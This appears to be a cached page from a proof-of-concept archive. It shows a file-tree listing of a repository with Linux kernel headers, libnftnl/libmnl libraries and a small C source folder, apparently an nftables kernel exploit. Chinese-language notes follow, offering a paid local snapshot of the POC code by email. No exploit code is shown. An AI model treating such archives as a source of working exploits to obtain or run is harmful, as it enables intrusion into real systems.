├── [7.4K] nilfs2_api.h │   │   ├── [ 18K] nilfs2_ondisk.h │   │   ├── [ 13K] nitro_enclaves.h │   │   ├── [323K] nl80211.h │   │   ├── [4.5K] nl80211-vnd-intel.h │   │   ├── [ 639] nsfs.h │   │   ├── [8.0K] nubus.h │   │   ├── [2.4K] nvme_ioctl.h │   │   ├── [ 532] nvram.h │   │   ├── [ 20K] omap3isp.h │   │   ├── [5.8K] omapfb.h │   │   ├── [ 511] oom.h │   │   ├── [1.4K] openat2.h │   │   ├── [ 40K] openvswitch.h │   │   ├── [1.6K] packet_diag.h │   │   ├── [ 141] param.h │   │   ├── [3.6K] parport.h │   │   ├── [ 892] patchkey.h │   │   ├── [1.3K] pci.h │   │   ├── [ 59K] pci_regs.h │   │   ├── [ 878] pcitest.h │   │   ├── [ 42K] perf_event.h │   │   ├── [2.0K] personality.h │   │   ├── [ 10K] pfkeyv2.h │   │   ├── [7.8K] pfrut.h │   │   ├── [2.3K] pg.h │   │   ├── [1.6K] phantom.h │   │   ├── [4.6K] phonet.h │   │   ├── [ 256] pidfd.h │   │   ├── [2.6K] pktcdvd.h │   │   ├── [ 18K] pkt_cls.h │   │   ├── [ 30K] pkt_sched.h │   │   ├── [5.3K] pmu.h │   │   ├── [ 22] poll.h │   │   ├── [1.2K] posix_acl.h │   │   ├── [1.1K] posix_acl_xattr.h │   │   ├── [1.1K] posix_types.h │   │   ├── [3.2K] ppdev.h │   │   ├── [2.5K] ppp-comp.h │   │   ├── [5.4K] ppp_defs.h │   │   ├── [5.6K] ppp-ioctl.h │   │   ├── [4.6K] pps.h │   │   ├── [9.8K] prctl.h │   │   ├── [1.0K] pr.h │   │   ├── [2.2K] psample.h │   │   ├── [5.0K] psci.h │   │   ├── [4.4K] psp-sev.h │   │   ├── [7.3K] ptp_clock.h │   │   ├── [4.3K] ptrace.h │   │   ├── [2.4K] qemu_fw_cfg.h │   │   ├── [2.3K] qnx4_fs.h │   │   ├── [ 624] qnxtypes.h │   │   ├── [ 893] qrtr.h │   │   ├── [6.1K] quota.h │   │   ├── [ 360] radeonfb.h │   │   ├── [4.0K] raid │   │   │   ├── [ 16K] md_p.h │   │   │   └── [4.4K] md_u.h │   │   ├── [1.4K] random.h │   │   ├── [ 11K] rds.h │   │   ├── [1.3K] reboot.h │   │   ├── [ 775] reiserfs_fs.h │   │   ├── [ 542] reiserfs_xattr.h │   │   ├── [1.1K] remoteproc_cdev.h │   │   ├── [2.5K] resource.h │   │   ├── [6.5K] rfkill.h │   │   ├── [3.2K] rio_cm_cdev.h │   │   ├── [9.1K] rio_mport_cdev.h │   │   ├── [ 33K] rkisp1-config.h │   │   ├── [1.2K] romfs_fs.h │   │   ├── [2.2K] rose.h │   │   ├── [2.3K] route.h │   │   ├── [ 814] rpl.h │   │   ├── [ 424] rpl_iptunnel.h │   │   ├── [1.0K] rpmsg.h │   │   ├── [ 288] rpmsg_types.h │   │   ├── [4.6K] rseq.h │   │   ├── [5.2K] rtc.h │   │   ├── [ 21K] rtnetlink.h │   │   ├── [4.8K] rxrpc.h │   │   ├── [4.5K] scc.h │   │   ├── [4.0K] sched │   │   │   └── [4.5K] types.h │   │   ├── [6.1K] sched.h │   │   ├── [6.2K] scif_ioctl.h │   │   ├── [2.4K] screen_info.h │   │   ├── [ 35K] sctp.h │   │   ├── [5.7K] seccomp.h │   │   ├── [2.6K] securebits.h │   │   ├── [4.0K] sed-opal.h │   │   ├── [ 589] seg6_genl.h │   │   ├── [1.1K] seg6.h │   │   ├── [ 423] seg6_hmac.h │   │   ├── [ 983] seg6_iptunnel.h │   │   ├── [3.8K] seg6_local.h │   │   ├── [1.2K] selinux_netlink.h │   │   ├── [3.0K] sem.h │   │   ├── [5.9K] serial_core.h │   │   ├── [4.1K] serial.h │   │   ├── [ 15K] serial_reg.h │   │   ├── [2.0K] serio.h │   │   ├── [2.2K] sev-guest.h │   │   ├── [3.7K] shm.h │   │   ├── [1.2K] signalfd.h │   │   ├── [ 388] signal.h │   │   ├── [2.8K] smc_diag.h │   │   ├── [8.3K] smc.h │   │   ├── [1.0K] smiapp.h │   │   ├── [ 14K] snmp.h │   │   ├── [1.3K] sock_diag.h │   │   ├── [1.0K] socket.h │   │   ├── [6.7K] sockios.h │   │   ├── [2.2K] sonet.h │   │   ├── [5.2K] sonypi.h │   │   ├── [ 45K] soundcard.h │   │   ├── [1.2K] sound.h │   │   ├── [4.0K] spi │   │   │   ├── [4.6K] spidev.h │   │   │   └── [1.8K] spi.h │   │   ├── [6.8K] stat.h │   │   ├── [1.5K] stddef.h │   │   ├── [1.2K] stm.h │   │   ├── [ 238] string.h │   │   ├── [4.0K] sunrpc │   │   │   └── [1.1K] debug.h │   │   ├── [4.0K] surface_aggregator │   │   │   ├── [5.0K] cdev.h │   │   │   └── [5.3K] dtx.h │   │   ├── [1.4K] suspend_ioctls.h │   │   ├── [6.8K] swab.h │   │   ├── [5.1K] switchtec_ioctl.h │   │   ├── [2.8K] sync_file.h │   │   ├── [8.8K] synclink.h │   │   ├── [ 25K] sysctl.h │   │   ├── [1.0K] sysinfo.h │   │   ├── [4.5K] target_core_user.h │   │   ├── [8.0K] taskstats.h │   │   ├── [4.0K] tc_act │   │   │   ├── [ 509] tc_bpf.h │   │   │   ├── [ 390] tc_connmark.h │   │   │   ├── [ 644] tc_csum.h │   │   │   ├── [ 934] tc_ct.h │   │   │   ├── [ 556] tc_ctinfo.h │   │   │   ├── [ 322] tc_defact.h │   │   │   ├── [ 626] tc_gact.h │   │   │   ├── [ 870] tc_gate.h │   │   │   ├── [ 600] tc_ife.h │   │   │   ├── [ 415] tc_ipt.h │   │   │   ├── [ 728] tc_mirred.h │   │   │   ├── [1.0K] tc_mpls.h │   │   │   ├── [ 424] tc_nat.h │   │   │   ├── [1.5K] tc_pedit.h │   │   │   ├── [ 456] tc_sample.h │   │   │   ├── [ 848] tc_skbedit.h │   │   │   ├── [ 587] tc_skbmod.h │   │   │   ├── [2.4K] tc_tunnel_key.h │   │   │   └── [ 672] tc_vlan.h │   │   ├── [4.0K] tc_ematch │   │   │   ├── [ 414] tc_em_cmp.h │   │   │   ├── [ 391] tc_em_ipt.h │   │   │   ├── [2.1K] tc_em_meta.h │   │   │   ├── [ 255] tc_em_nbyte.h │   │   │   └── [ 384] tc_em_text.h │   │   ├── [ 12K] tcp.h │   │   ├── [1.5K] tcp_metrics.h │   │   ├── [ 13K] tee.h │   │   ├── [ 172] termios.h │   │   ├── [3.2K] thermal.h │   │   ├── [1.7K] time.h │   │   ├── [ 936] timerfd.h │   │   ├── [ 278] times.h │   │   ├── [1.2K] time_types.h │   │   ├── [7.6K] timex.h │   │   ├── [1.7K] tiocl.h │   │   ├── [ 15K] tipc_config.h │   │   ├── [8.6K] tipc.h │   │   ├── [9.2K] tipc_netlink.h │   │   ├── [ 468] tipc_sockets_diag.h │   │   ├── [7.1K] tls.h │   │   ├── [1.9K] toshiba.h │   │   ├── [4.4K] tty_flags.h │   │   ├── [1.7K] tty.h │   │   ├── [1.6K] types.h │   │   ├── [5.8K] ublk_cmd.h │   │   ├── [ 697] udf_fs_i.h │   │   ├── [ 643] udmabuf.h │   │   ├── [1.6K] udp.h │   │   ├── [4.5K] uhid.h │   │   ├── [9.0K] uinput.h │   │   ├── [ 732] uio.h │   │   ├── [ 798] uleds.h │   │   ├── [4.5K] ultrasound.h │   │   ├── [3.9K] um_timetravel.h │   │   ├── [ 384] un.h │   │   ├── [ 220] unistd.h │   │   ├── [1.3K] unix_diag.h │   │   ├── [4.0K] usb │   │   │   ├── [ 19K] audio.h │   │   │   ├── [ 13K] cdc.h │   │   │   ├── [ 739] cdc-wdm.h │   │   │   ├── [8.9K] ch11.h │   │   │   ├── [ 39K] ch9.h │   │   │   ├── [ 598] charger.h │   │   │   ├── [ 10K] functionfs.h │   │   │   ├── [2.8K] gadgetfs.h │   │   │   ├── [1.4K] g_printer.h │   │   │   ├── [1.1K] g_uvc.h │   │   │   ├── [3.4K] midi.h │   │   │   ├── [8.1K] raw_gadget.h │   │   │   ├── [4.7K] tmc.h │   │   │   └── [ 17K] video.h │   │   ├── [8.1K] usbdevice_fs.h │   │   ├── [1.5K] usbip.h │   │   ├── [9.5K] userfaultfd.h │   │   ├── [1.5K] userio.h │   │   ├── [ 223] utime.h │   │   ├── [ 669] utsname.h │   │   ├── [ 992] uuid.h │   │   ├── [2.5K] uvcvideo.h │   │   ├── [4.1K] v4l2-common.h │   │   ├── [118K] v4l2-controls.h │   │   ├── [ 31K] v4l2-dv-timings.h │   │   ├── [5.3K] v4l2-mediabus.h │   │   ├── [7.6K] v4l2-subdev.h │   │   ├── [7.1K] vbox_err.h │   │   ├── [9.1K] vboxguest.h │   │   ├── [ 11K] vbox_vmmdev_types.h │   │   ├── [1.8K] vdpa.h │   │   ├── [9.6K] vduse.h │   │   ├── [ 216] version.h │   │   ├── [ 224] veth.h │   │   ├── [1.3K] vfio_ccw.h │   │   ├── [ 57K] vfio.h │   │   ├── [2.5K] vfio_zdev.h │   │   ├── [7.5K] vhost.h │   │   ├── [4.2K] vhost_types.h │   │   ├── [ 95K] videodev2.h │   │   ├── [2.0K] virtio_9p.h │   │   ├── [5.2K] virtio_balloon.h │   │   ├── [7.3K] virtio_blk.h │   │   ├── [ 772] virtio_bt.h │   │   ├── [4.2K] virtio_config.h │   │   ├── [3.1K] virtio_console.h │   │   ├── [ 16K] virtio_crypto.h │   │   ├── [ 573] virtio_fs.h │   │   ├── [1.7K] virtio_gpio.h │   │   ├── [ 11K] virtio_gpu.h │   │   ├── [1.2K] virtio_i2c.h │   │   ├── [4.2K] virtio_ids.h │   │   ├── [2.5K] virtio_input.h │   │   ├── [3.8K] virtio_iommu.h │   │   ├── [7.0K] virtio_mem.h │   │   ├── [4.9K] virtio_mmio.h │   │   ├── [ 14K] virtio_net.h │   │   ├── [2.4K] virtio_pcidev.h │   │   ├── [7.3K] virtio_pci.h │   │   ├── [ 641] virtio_pmem.h │   │   ├── [8.5K] virtio_ring.h │   │   ├── [ 265] virtio_rng.h │   │   ├── [ 637] virtio_scmi.h │   │   ├── [5.9K] virtio_scsi.h │   │   ├── [9.1K] virtio_snd.h │   │   ├── [2.1K] virtio_types.h │   │   ├── [3.3K] virtio_vsock.h │   │   ├── [ 455] vmcore.h │   │   ├── [ 963] vm_sockets_diag.h │   │   ├── [7.2K] vm_sockets.h │   │   ├── [1.8K] vsockmon.h │   │   ├── [3.0K] vt.h │   │   ├── [1.7K] vtpm_proxy.h │   │   ├── [ 682] wait.h │   │   ├── [2.3K] watchdog.h │   │   ├── [3.4K] watch_queue.h │   │   ├── [7.6K] wireguard.h │   │   ├── [ 42K] wireless.h │   │   ├── [1.7K] wmi.h │   │   ├── [ 295] wwan.h │   │   ├── [3.5K] x25.h │   │   ├── [3.0K] xattr.h │   │   ├── [1.4K] xdp_diag.h │   │   ├── [ 12K] xfrm.h │   │   ├── [2.9K] xilinx-v4l2-controls.h │   │   ├── [3.2K] zorro.h │   │   └── [ 29K] zorro_ids.h │   ├── [3.2K] Makefile │   ├── [4.0K] misc │   │   ├── [3.8K] cxl.h │   │   ├── [4.1K] fastrpc.h │   │   ├── [ 71K] habanalabs.h │   │   ├── [1.9K] ocxl.h │   │   ├── [ 209] pvpanic.h │   │   ├── [4.0K] uacce │   │   │   ├── [ 982] hisi_qm.h │   │   │   └── [ 796] uacce.h │   │   └── [ 12K] xilinx_sdfec.h │   ├── [4.0K] mtd │   │   ├── [1.6K] inftl-user.h │   │   ├── [ 12K] mtd-abi.h │   │   ├── [1.2K] mtd-user.h │   │   ├── [2.1K] nftl-user.h │   │   └── [ 18K] ubi-user.h │   ├── [4.0K] rdma │   │   ├── [3.4K] bnxt_re-abi.h │   │   ├── [3.0K] cxgb4-abi.h │   │   ├── [2.8K] efa-abi.h │   │   ├── [ 811] erdma-abi.h │   │   ├── [4.0K] hfi │   │   │   ├── [6.5K] hfi1_ioctl.h │   │   │   └── [9.1K] hfi1_user.h │   │   ├── [2.9K] hns-abi.h │   │   ├── [9.7K] ib_user_ioctl_cmds.h │   │   ├── [7.6K] ib_user_ioctl_verbs.h │   │   ├── [8.3K] ib_user_mad.h │   │   ├── [2.3K] ib_user_sa.h │   │   ├── [ 28K] ib_user_verbs.h │   │   ├── [2.1K] irdma-abi.h │   │   ├── [5.0K] mlx4-abi.h │   │   ├── [ 14K] mlx5-abi.h │   │   ├── [ 11K] mlx5_user_ioctl_cmds.h │   │   ├── [3.5K] mlx5_user_ioctl_verbs.h │   │   ├── [3.0K] mthca-abi.h │   │   ├── [4.0K] ocrdma-abi.h │   │   ├── [4.2K] qedr-abi.h │   │   ├── [ 15K] rdma_netlink.h │   │   ├── [7.0K] rdma_user_cm.h │   │   ├── [2.6K] rdma_user_ioctl_cmds.h │   │   ├── [3.7K] rdma_user_ioctl.h │   │   ├── [4.7K] rdma_user_rxe.h │   │   ├── [1.7K] rvt-abi.h │   │   ├── [3.3K] siw-abi.h │   │   └── [7.8K] vmw_pvrdma-abi.h │   ├── [4.0K] scsi │   │   ├── [9.9K] cxlflash_ioctl.h │   │   ├── [4.0K] fc │   │   │   ├── [ 38K] fc_els.h │   │   │   ├── [ 11K] fc_fs.h │   │   │   ├── [2.2K] fc_gs.h │   │   │   └── [4.2K] fc_ns.h │   │   ├── [7.8K] scsi_bsg_fc.h │   │   ├── [ 15K] scsi_bsg_mpi3mr.h │   │   ├── [2.7K] scsi_bsg_ufs.h │   │   ├── [1.3K] scsi_netlink_fc.h │   │   └── [2.8K] scsi_netlink.h │   ├── [4.0K] sound │   │   ├── [ 21K] asequencer.h │   │   ├── [ 22K] asoc.h │   │   ├── [3.6K] asound_fm.h │   │   ├── [ 49K] asound.h │   │   ├── [5.8K] compress_offload.h │   │   ├── [ 16K] compress_params.h │   │   ├── [ 16K] emu10k1.h │   │   ├── [9.7K] firewire.h │   │   ├── [2.0K] hdsp.h │   │   ├── [4.4K] hdspm.h │   │   ├── [4.0K] intel │   │   │   └── [4.0K] avs │   │   │   └── [4.3K] tokens.h │   │   ├── [3.5K] sb16_csp.h │   │   ├── [6.6K] sfnt_info.h │   │   ├── [5.2K] skl-tplg-interface.h │   │   ├── [6.5K] snd_ar_tokens.h │   │   ├── [ 11K] snd_sst_tokens.h │   │   ├── [4.0K] sof │   │   │   ├── [2.0K] abi.h │   │   │   ├── [2.2K] fw.h │   │   │   ├── [1.5K] header.h │   │   │   └── [5.8K] tokens.h │   │   ├── [4.0K] tlv.h │   │   └── [1.2K] usb_stream.h │   ├── [4.0K] video │   │   ├── [ 213] edid.h │   │   ├── [7.5K] sisfb.h │   │   └── [1.1K] uvesafb.h │   └── [4.0K] xen │   ├── [3.5K] evtchn.h │   ├── [2.6K] gntalloc.h │   ├── [ 11K] gntdev.h │   └── [4.1K] privcmd.h ├── [4.0K] lib │   ├── [ 26K] libmnl.a │   ├── [ 26K] libmnl-LICENSE.md │   ├── [455K] libnftnl.a │   └── [ 18K] libnftnl-LICENSE.md ├── [1.0K] LICENSE ├── [1.0K] Makefile ├── [3.8K] README.md └── [4.0K] src ├── [3.0K] config.h ├── [4.3K] env.c ├── [ 674] env.h ├── [1.4K] file.c ├── [ 745] file.h ├── [ 18K] main.c ├── [5.6K] net.c ├── [ 741] net.h ├── [7.2K] nftnl.c └── [ 550] nftnl.h 51 directories, 1008 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。